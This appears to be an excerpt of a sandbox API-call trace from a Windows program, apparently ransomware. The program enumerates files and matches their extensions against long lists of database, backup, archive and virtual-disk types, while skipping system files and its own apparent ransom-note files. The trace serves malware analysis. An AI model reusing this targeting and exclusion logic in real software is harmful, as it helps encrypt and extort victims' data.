	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="abs") returned 1
	[0054.389] lstrlenW (lpString="abx") returned 3
	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="abx") returned 1
	[0054.389] lstrlenW (lpString="accdb") returned 5
	[0054.389] lstrlenW (lpString="accdc") returned 5
	[0054.390] lstrlenW (lpString="accde") returned 5
	[0054.390] lstrlenW (lpString="accdr") returned 5
	[0054.390] lstrlenW (lpString="accdt") returned 5
	[0054.390] lstrlenW (lpString="accdw") returned 5
	[0054.390] lstrlenW (lpString="accft") returned 5
	[0054.390] lstrlenW (lpString="adb") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="adb") returned 1
	[0054.390] lstrlenW (lpString="adb") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="adb") returned 1
	[0054.390] lstrlenW (lpString="ade") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="ade") returned 1
	[0054.390] lstrlenW (lpString="adf") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="adf") returned 1
	[0054.390] lstrlenW (lpString="adn") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="adn") returned 1
	[0054.390] lstrlenW (lpString="adp") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="adp") returned 1
	[0054.390] lstrlenW (lpString="alf") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="alf") returned 1
	[0054.390] lstrlenW (lpString="ask") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="ask") returned 1
	[0054.390] lstrlenW (lpString="btr") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="btr") returned 1
	[0054.390] lstrlenW (lpString="cat") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="cat") returned 1
	[0054.390] lstrlenW (lpString="cdb") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="cdb") returned 1
	[0054.390] lstrlenW (lpString="ckp") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="ckp") returned 1
	[0054.390] lstrlenW (lpString="cma") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="cma") returned 1
	[0054.390] lstrlenW (lpString="cpd") returned 3
	[0054.390] lstrcmpiW (lpString1="ST8", lpString2="cpd") returned 1
	[0054.390] lstrlenW (lpString="dacpac") returned 6
	[0054.390] lstrlenW (lpString="dad") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dad") returned 1
	[0054.391] lstrlenW (lpString="dadiagrams") returned 10
	[0054.391] lstrlenW (lpString="daschema") returned 8
	[0054.391] lstrlenW (lpString="db-journal") returned 10
	[0054.391] lstrlenW (lpString="db-shm") returned 6
	[0054.391] lstrlenW (lpString="db-wal") returned 6
	[0054.391] lstrlenW (lpString="dbc") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dbc") returned 1
	[0054.391] lstrlenW (lpString="dbs") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dbs") returned 1
	[0054.391] lstrlenW (lpString="dbt") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dbt") returned 1
	[0054.391] lstrlenW (lpString="dbv") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dbv") returned 1
	[0054.391] lstrlenW (lpString="dbx") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dbx") returned 1
	[0054.391] lstrlenW (lpString="dcb") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dcb") returned 1
	[0054.391] lstrlenW (lpString="dct") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dct") returned 1
	[0054.391] lstrlenW (lpString="dcx") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dcx") returned 1
	[0054.391] lstrlenW (lpString="ddl") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="ddl") returned 1
	[0054.391] lstrlenW (lpString="dlis") returned 4
	[0054.391] lstrlenW (lpString="dp1") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dp1") returned 1
	[0054.391] lstrlenW (lpString="dqy") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dqy") returned 1
	[0054.391] lstrlenW (lpString="dsk") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dsk") returned 1
	[0054.391] lstrlenW (lpString="dsn") returned 3
	[0054.391] lstrcmpiW (lpString1="ST8", lpString2="dsn") returned 1
	[0054.391] lstrlenW (lpString="dtsx") returned 4
	[0054.392] lstrlenW (lpString="dxl") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="dxl") returned 1
	[0054.392] lstrlenW (lpString="eco") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="eco") returned 1
	[0054.392] lstrlenW (lpString="ecx") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="ecx") returned 1
	[0054.392] lstrlenW (lpString="edb") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="edb") returned 1
	[0054.392] lstrlenW (lpString="epim") returned 4
	[0054.392] lstrlenW (lpString="fcd") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="fcd") returned 1
	[0054.392] lstrlenW (lpString="fdb") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="fdb") returned 1
	[0054.392] lstrlenW (lpString="fic") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="fic") returned 1
	[0054.392] lstrlenW (lpString="flexolibrary") returned 12
	[0054.392] lstrlenW (lpString="fm5") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="fm5") returned 1
	[0054.392] lstrlenW (lpString="fmp") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="fmp") returned 1
	[0054.392] lstrlenW (lpString="fmp12") returned 5
	[0054.392] lstrlenW (lpString="fmpsl") returned 5
	[0054.392] lstrlenW (lpString="fol") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="fol") returned 1
	[0054.392] lstrlenW (lpString="fp3") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="fp3") returned 1
	[0054.392] lstrlenW (lpString="fp4") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="fp4") returned 1
	[0054.392] lstrlenW (lpString="fp5") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="fp5") returned 1
	[0054.392] lstrlenW (lpString="fp7") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="fp7") returned 1
	[0054.392] lstrlenW (lpString="fpt") returned 3
	[0054.392] lstrcmpiW (lpString1="ST8", lpString2="fpt") returned 1
	[0054.393] lstrlenW (lpString="frm") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="frm") returned 1
	[0054.393] lstrlenW (lpString="gdb") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="gdb") returned 1
	[0054.393] lstrlenW (lpString="gdb") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="gdb") returned 1
	[0054.393] lstrlenW (lpString="grdb") returned 4
	[0054.393] lstrlenW (lpString="gwi") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="gwi") returned 1
	[0054.393] lstrlenW (lpString="hdb") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="hdb") returned 1
	[0054.393] lstrlenW (lpString="his") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="his") returned 1
	[0054.393] lstrlenW (lpString="ib") returned 2
	[0054.393] lstrcmpiW (lpString1="T8", lpString2="ib") returned 1
	[0054.393] lstrlenW (lpString="idb") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="idb") returned 1
	[0054.393] lstrlenW (lpString="ihx") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="ihx") returned 1
	[0054.393] lstrlenW (lpString="itdb") returned 4
	[0054.393] lstrlenW (lpString="itw") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="itw") returned 1
	[0054.393] lstrlenW (lpString="jet") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="jet") returned 1
	[0054.393] lstrlenW (lpString="jtx") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="jtx") returned 1
	[0054.393] lstrlenW (lpString="kdb") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="kdb") returned 1
	[0054.393] lstrlenW (lpString="kexi") returned 4
	[0054.393] lstrlenW (lpString="kexic") returned 5
	[0054.393] lstrlenW (lpString="kexis") returned 5
	[0054.393] lstrlenW (lpString="lgc") returned 3
	[0054.393] lstrcmpiW (lpString1="ST8", lpString2="lgc") returned 1
	[0054.393] lstrlenW (lpString="lwx") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="lwx") returned 1
	[0054.394] lstrlenW (lpString="maf") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="maf") returned 1
	[0054.394] lstrlenW (lpString="maq") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="maq") returned 1
	[0054.394] lstrlenW (lpString="mar") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="mar") returned 1
	[0054.394] lstrlenW (lpString="marshal") returned 7
	[0054.394] lstrlenW (lpString="mas") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="mas") returned 1
	[0054.394] lstrlenW (lpString="mav") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="mav") returned 1
	[0054.394] lstrlenW (lpString="maw") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="maw") returned 1
	[0054.394] lstrlenW (lpString="mdbhtml") returned 7
	[0054.394] lstrlenW (lpString="mdn") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="mdn") returned 1
	[0054.394] lstrlenW (lpString="mdt") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="mdt") returned 1
	[0054.394] lstrlenW (lpString="mfd") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="mfd") returned 1
	[0054.394] lstrlenW (lpString="mpd") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="mpd") returned 1
	[0054.394] lstrlenW (lpString="mrg") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="mrg") returned 1
	[0054.394] lstrlenW (lpString="mud") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="mud") returned 1
	[0054.394] lstrlenW (lpString="mwb") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="mwb") returned 1
	[0054.394] lstrlenW (lpString="myd") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="myd") returned 1
	[0054.394] lstrlenW (lpString="ndf") returned 3
	[0054.394] lstrcmpiW (lpString1="ST8", lpString2="ndf") returned 1
	[0054.394] lstrlenW (lpString="nnt") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="nnt") returned 1
	[0054.395] lstrlenW (lpString="nrmlib") returned 6
	[0054.395] lstrlenW (lpString="ns2") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="ns2") returned 1
	[0054.395] lstrlenW (lpString="ns3") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="ns3") returned 1
	[0054.395] lstrlenW (lpString="ns4") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="ns4") returned 1
	[0054.395] lstrlenW (lpString="nsf") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="nsf") returned 1
	[0054.395] lstrlenW (lpString="nv") returned 2
	[0054.395] lstrcmpiW (lpString1="T8", lpString2="nv") returned 1
	[0054.395] lstrlenW (lpString="nv2") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="nv2") returned 1
	[0054.395] lstrlenW (lpString="nwdb") returned 4
	[0054.395] lstrlenW (lpString="nyf") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="nyf") returned 1
	[0054.395] lstrlenW (lpString="odb") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="odb") returned 1
	[0054.395] lstrlenW (lpString="odb") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="odb") returned 1
	[0054.395] lstrlenW (lpString="oqy") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="oqy") returned 1
	[0054.395] lstrlenW (lpString="ora") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="ora") returned 1
	[0054.395] lstrlenW (lpString="orx") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="orx") returned 1
	[0054.395] lstrlenW (lpString="owc") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="owc") returned 1
	[0054.395] lstrlenW (lpString="p96") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="p96") returned 1
	[0054.395] lstrlenW (lpString="p97") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="p97") returned 1
	[0054.395] lstrlenW (lpString="pan") returned 3
	[0054.395] lstrcmpiW (lpString1="ST8", lpString2="pan") returned 1
	[0054.396] lstrlenW (lpString="pdb") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="pdb") returned 1
	[0054.396] lstrlenW (lpString="pdm") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="pdm") returned 1
	[0054.396] lstrlenW (lpString="pnz") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="pnz") returned 1
	[0054.396] lstrlenW (lpString="qry") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="qry") returned 1
	[0054.396] lstrlenW (lpString="qvd") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="qvd") returned 1
	[0054.396] lstrlenW (lpString="rbf") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="rbf") returned 1
	[0054.396] lstrlenW (lpString="rctd") returned 4
	[0054.396] lstrlenW (lpString="rod") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="rod") returned 1
	[0054.396] lstrlenW (lpString="rodx") returned 4
	[0054.396] lstrlenW (lpString="rpd") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="rpd") returned 1
	[0054.396] lstrlenW (lpString="rsd") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="rsd") returned 1
	[0054.396] lstrlenW (lpString="sas7bdat") returned 8
	[0054.396] lstrlenW (lpString="sbf") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="sbf") returned 1
	[0054.396] lstrlenW (lpString="scx") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="scx") returned 1
	[0054.396] lstrlenW (lpString="sdb") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="sdb") returned 1
	[0054.396] lstrlenW (lpString="sdc") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="sdc") returned 1
	[0054.396] lstrlenW (lpString="sdf") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="sdf") returned 1
	[0054.396] lstrlenW (lpString="sis") returned 3
	[0054.396] lstrcmpiW (lpString1="ST8", lpString2="sis") returned 1
	[0054.396] lstrlenW (lpString="spq") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="spq") returned 1
	[0054.397] lstrlenW (lpString="te") returned 2
	[0054.397] lstrcmpiW (lpString1="T8", lpString2="te") returned -1
	[0054.397] lstrlenW (lpString="teacher") returned 7
	[0054.397] lstrlenW (lpString="tmd") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="tmd") returned -1
	[0054.397] lstrlenW (lpString="tps") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="tps") returned -1
	[0054.397] lstrlenW (lpString="trc") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="trc") returned -1
	[0054.397] lstrlenW (lpString="trc") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="trc") returned -1
	[0054.397] lstrlenW (lpString="trm") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="trm") returned -1
	[0054.397] lstrlenW (lpString="udb") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="udb") returned -1
	[0054.397] lstrlenW (lpString="udl") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="udl") returned -1
	[0054.397] lstrlenW (lpString="usr") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="usr") returned -1
	[0054.397] lstrlenW (lpString="v12") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="v12") returned -1
	[0054.397] lstrlenW (lpString="vis") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="vis") returned -1
	[0054.397] lstrlenW (lpString="vpd") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="vpd") returned -1
	[0054.397] lstrlenW (lpString="vvv") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="vvv") returned -1
	[0054.397] lstrlenW (lpString="wdb") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="wdb") returned -1
	[0054.397] lstrlenW (lpString="wmdb") returned 4
	[0054.397] lstrlenW (lpString="wrk") returned 3
	[0054.397] lstrcmpiW (lpString1="ST8", lpString2="wrk") returned -1
	[0054.397] lstrlenW (lpString="xdb") returned 3
	[0054.398] lstrcmpiW (lpString1="ST8", lpString2="xdb") returned -1
	[0054.398] lstrlenW (lpString="xld") returned 3
	[0054.398] lstrcmpiW (lpString1="ST8", lpString2="xld") returned -1
	[0054.398] lstrlenW (lpString="xmlff") returned 5
	[0054.398] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PST8PDT", cAlternateFileName="")) returned 1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2="Apollon865.txt.exe") returned 1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2=".") returned 1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2="..") returned 1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2="windows") returned -1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2="bootmgr") returned 1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2="temp") returned -1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2="pagefile.sys") returned 1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2="boot") returned 1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2="ids.txt") returned 1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2="ntuser.dat") returned 1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2="perflogs") returned 1
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2="MSBuild") returned 1
	[0054.398] lstrlenW (lpString="PST8PDT") returned 7
	[0054.398] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\PST8") returned 52
	[0054.398] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PST8PDT" | out: lpString1="PST8PDT") returned="PST8PDT"
	[0054.398] lstrlenW (lpString="PST8PDT") returned 7
	[0054.398] lstrlenW (lpString="Apollon865") returned 10
	[0054.398] lstrlenW (lpString=".dll") returned 4
	[0054.398] lstrcmpiW (lpString1="PST8PDT", lpString2=".dll") returned 1
	[0054.399] lstrlenW (lpString=".lnk") returned 4
	[0054.399] lstrcmpiW (lpString1="PST8PDT", lpString2=".lnk") returned 1
	[0054.399] lstrlenW (lpString=".ini") returned 4
	[0054.399] lstrcmpiW (lpString1="PST8PDT", lpString2=".ini") returned 1
	[0054.399] lstrlenW (lpString=".sys") returned 4
	[0054.399] lstrcmpiW (lpString1="PST8PDT", lpString2=".sys") returned 1
	[0054.399] lstrlenW (lpString="PST8PDT") returned 7
	[0054.399] lstrlenW (lpString="bak") returned 3
	[0054.399] lstrcmpiW (lpString1="PDT", lpString2="bak") returned 1
	[0054.399] lstrlenW (lpString="ba_") returned 3
	[0054.399] lstrcmpiW (lpString1="PDT", lpString2="ba_") returned 1
	[0054.399] lstrlenW (lpString="dbb") returned 3
	[0054.399] lstrcmpiW (lpString1="PDT", lpString2="dbb") returned 1
	[0054.399] lstrlenW (lpString="vmdk") returned 4
	[0054.399] lstrcmpiW (lpString1="8PDT", lpString2="vmdk") returned -1
	[0054.399] lstrlenW (lpString="rar") returned 3
	[0054.399] lstrcmpiW (lpString1="PDT", lpString2="rar") returned -1
	[0054.399] lstrlenW (lpString="zip") returned 3
	[0054.399] lstrcmpiW (lpString1="PDT", lpString2="zip") returned -1
	[0054.399] lstrlenW (lpString="tgz") returned 3
	[0054.399] lstrcmpiW (lpString1="PDT", lpString2="tgz") returned -1
	[0054.399] lstrlenW (lpString="vbox") returned 4
	[0054.399] lstrcmpiW (lpString1="8PDT", lpString2="vbox") returned -1
	[0054.399] lstrlenW (lpString="vdi") returned 3
	[0054.399] lstrcmpiW (lpString1="PDT", lpString2="vdi") returned -1
	[0054.399] lstrlenW (lpString="vhd") returned 3
	[0054.399] lstrcmpiW (lpString1="PDT", lpString2="vhd") returned -1
	[0054.399] lstrlenW (lpString="vhdx") returned 4
	[0054.399] lstrcmpiW (lpString1="8PDT", lpString2="vhdx") returned -1
	[0054.399] lstrlenW (lpString="avhd") returned 4
	[0054.399] lstrcmpiW (lpString1="8PDT", lpString2="avhd") returned -1
	[0054.399] lstrlenW (lpString="db") returned 2
	[0054.399] lstrcmpiW (lpString1="DT", lpString2="db") returned 1
	[0054.399] lstrlenW (lpString="db2") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="db2") returned 1
	[0054.400] lstrlenW (lpString="db3") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="db3") returned 1
	[0054.400] lstrlenW (lpString="dbf") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="dbf") returned 1
	[0054.400] lstrlenW (lpString="mdf") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="mdf") returned 1
	[0054.400] lstrlenW (lpString="mdb") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="mdb") returned 1
	[0054.400] lstrlenW (lpString="sql") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="sql") returned -1
	[0054.400] lstrlenW (lpString="sqlite") returned 6
	[0054.400] lstrcmpiW (lpString1="ST8PDT", lpString2="sqlite") returned 1
	[0054.400] lstrlenW (lpString="sqlite3") returned 7
	[0054.400] lstrlenW (lpString="sqlitedb") returned 8
	[0054.400] lstrlenW (lpString="xml") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="xml") returned -1
	[0054.400] lstrlenW (lpString="$er") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="$er") returned 1
	[0054.400] lstrlenW (lpString="4dd") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="4dd") returned 1
	[0054.400] lstrlenW (lpString="4dl") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="4dl") returned 1
	[0054.400] lstrlenW (lpString="^^^") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="^^^") returned 1
	[0054.400] lstrlenW (lpString="abs") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="abs") returned 1
	[0054.400] lstrlenW (lpString="abx") returned 3
	[0054.400] lstrcmpiW (lpString1="PDT", lpString2="abx") returned 1
	[0054.400] lstrlenW (lpString="accdb") returned 5
	[0054.400] lstrcmpiW (lpString1="T8PDT", lpString2="accdb") returned 1
	[0054.400] lstrlenW (lpString="accdc") returned 5
	[0054.400] lstrcmpiW (lpString1="T8PDT", lpString2="accdc") returned 1
	[0054.400] lstrlenW (lpString="accde") returned 5
	[0054.401] lstrcmpiW (lpString1="T8PDT", lpString2="accde") returned 1
	[0054.401] lstrlenW (lpString="accdr") returned 5
	[0054.401] lstrcmpiW (lpString1="T8PDT", lpString2="accdr") returned 1
	[0054.401] lstrlenW (lpString="accdt") returned 5
	[0054.401] lstrcmpiW (lpString1="T8PDT", lpString2="accdt") returned 1
	[0054.401] lstrlenW (lpString="accdw") returned 5
	[0054.401] lstrcmpiW (lpString1="T8PDT", lpString2="accdw") returned 1
	[0054.401] lstrlenW (lpString="accft") returned 5
	[0054.401] lstrcmpiW (lpString1="T8PDT", lpString2="accft") returned 1
	[0054.401] lstrlenW (lpString="adb") returned 3
	[0054.401] lstrcmpiW (lpString1="PDT", lpString2="adb") returned 1
	[0054.401] lstrlenW (lpString="adb") returned 3
	[0054.401] lstrcmpiW (lpString1="PDT", lpString2="adb") returned 1
	[0054.401] lstrlenW (lpString="ade") returned 3
	[0054.401] lstrcmpiW (lpString1="PDT", lpString2="ade") returned 1
	[0054.401] lstrlenW (lpString="adf") returned 3
	[0054.401] lstrcmpiW (lpString1="PDT", lpString2="adf") returned 1
	[0054.401] lstrlenW (lpString="adn") returned 3
	[0054.401] lstrcmpiW (lpString1="PDT", lpString2="adn") returned 1
	[0054.401] lstrlenW (lpString="adp") returned 3
	[0054.401] lstrcmpiW (lpString1="PDT", lpString2="adp") returned 1
	[0054.401] lstrlenW (lpString="alf") returned 3
	[0054.401] lstrcmpiW (lpString1="PDT", lpString2="alf") returned 1
	[0054.401] lstrlenW (lpString="ask") returned 3
	[0054.401] lstrcmpiW (lpString1="PDT", lpString2="ask") returned 1
	[0054.401] lstrlenW (lpString="btr") returned 3
	[0054.401] lstrcmpiW (lpString1="PDT", lpString2="btr") returned 1
	[0054.401] lstrlenW (lpString="cat") returned 3
	[0054.401] lstrcmpiW (lpString1="PDT", lpString2="cat") returned 1
	[0054.401] lstrlenW (lpString="cdb") returned 3
	[0054.401] lstrcmpiW (lpString1="PDT", lpString2="cdb") returned 1
	[0054.401] lstrlenW (lpString="ckp") returned 3
	[0054.401] lstrcmpiW (lpString1="PDT", lpString2="ckp") returned 1
	[0054.401] lstrlenW (lpString="cma") returned 3
	[0054.402] lstrcmpiW (lpString1="PDT", lpString2="cma") returned 1
	[0054.402] lstrlenW (lpString="cpd") returned 3
	[0054.402] lstrcmpiW (lpString1="PDT", lpString2="cpd") returned 1
	[0054.402] lstrlenW (lpString="dacpac") returned 6
	[0054.402] lstrcmpiW (lpString1="ST8PDT", lpString2="dacpac") returned 1
	[0054.402] lstrlenW (lpString="dad") returned 3
	[0054.402] lstrcmpiW (lpString1="PDT", lpString2="dad") returned 1
	[0054.402] lstrlenW (lpString="dadiagrams") returned 10
	[0054.402] lstrlenW (lpString="daschema") returned 8
	[0054.402] lstrlenW (lpString="db-journal") returned 10
	[0054.402] lstrlenW (lpString="db-shm") returned 6
	[0054.402] lstrcmpiW (lpString1="ST8PDT", lpString2="db-shm") returned 1
	[0054.402] lstrlenW (lpString="db-wal") returned 6
	[0054.402] lstrcmpiW (lpString1="ST8PDT", lpString2="db-wal") returned 1
	[0054.402] lstrlenW (lpString="dbc") returned 3
	[0054.402] lstrcmpiW (lpString1="PDT", lpString2="dbc") returned 1
	[0054.402] lstrlenW (lpString="dbs") returned 3
	[0054.402] lstrcmpiW (lpString1="PDT", lpString2="dbs") returned 1
	[0054.402] lstrlenW (lpString="dbt") returned 3
	[0054.402] lstrcmpiW (lpString1="PDT", lpString2="dbt") returned 1
	[0054.402] lstrlenW (lpString="dbv") returned 3
	[0054.402] lstrcmpiW (lpString1="PDT", lpString2="dbv") returned 1
	[0054.402] lstrlenW (lpString="dbx") returned 3
	[0054.402] lstrcmpiW (lpString1="PDT", lpString2="dbx") returned 1
	[0054.402] lstrlenW (lpString="dcb") returned 3
	[0054.402] lstrcmpiW (lpString1="PDT", lpString2="dcb") returned 1
	[0054.402] lstrcmpiW (lpString1="PDT", lpString2="dct") returned 1
	[0054.402] lstrcmpiW (lpString1="PDT", lpString2="dcx") returned 1
	[0054.402] lstrcmpiW (lpString1="PDT", lpString2="ddl") returned 1
	[0054.402] lstrcmpiW (lpString1="8PDT", lpString2="dlis") returned -1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="dp1") returned 1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="dqy") returned 1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="dsk") returned 1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="dsn") returned 1
	[0054.403] lstrcmpiW (lpString1="8PDT", lpString2="dtsx") returned -1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="dxl") returned 1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="eco") returned 1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="ecx") returned 1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="edb") returned 1
	[0054.403] lstrcmpiW (lpString1="8PDT", lpString2="epim") returned -1
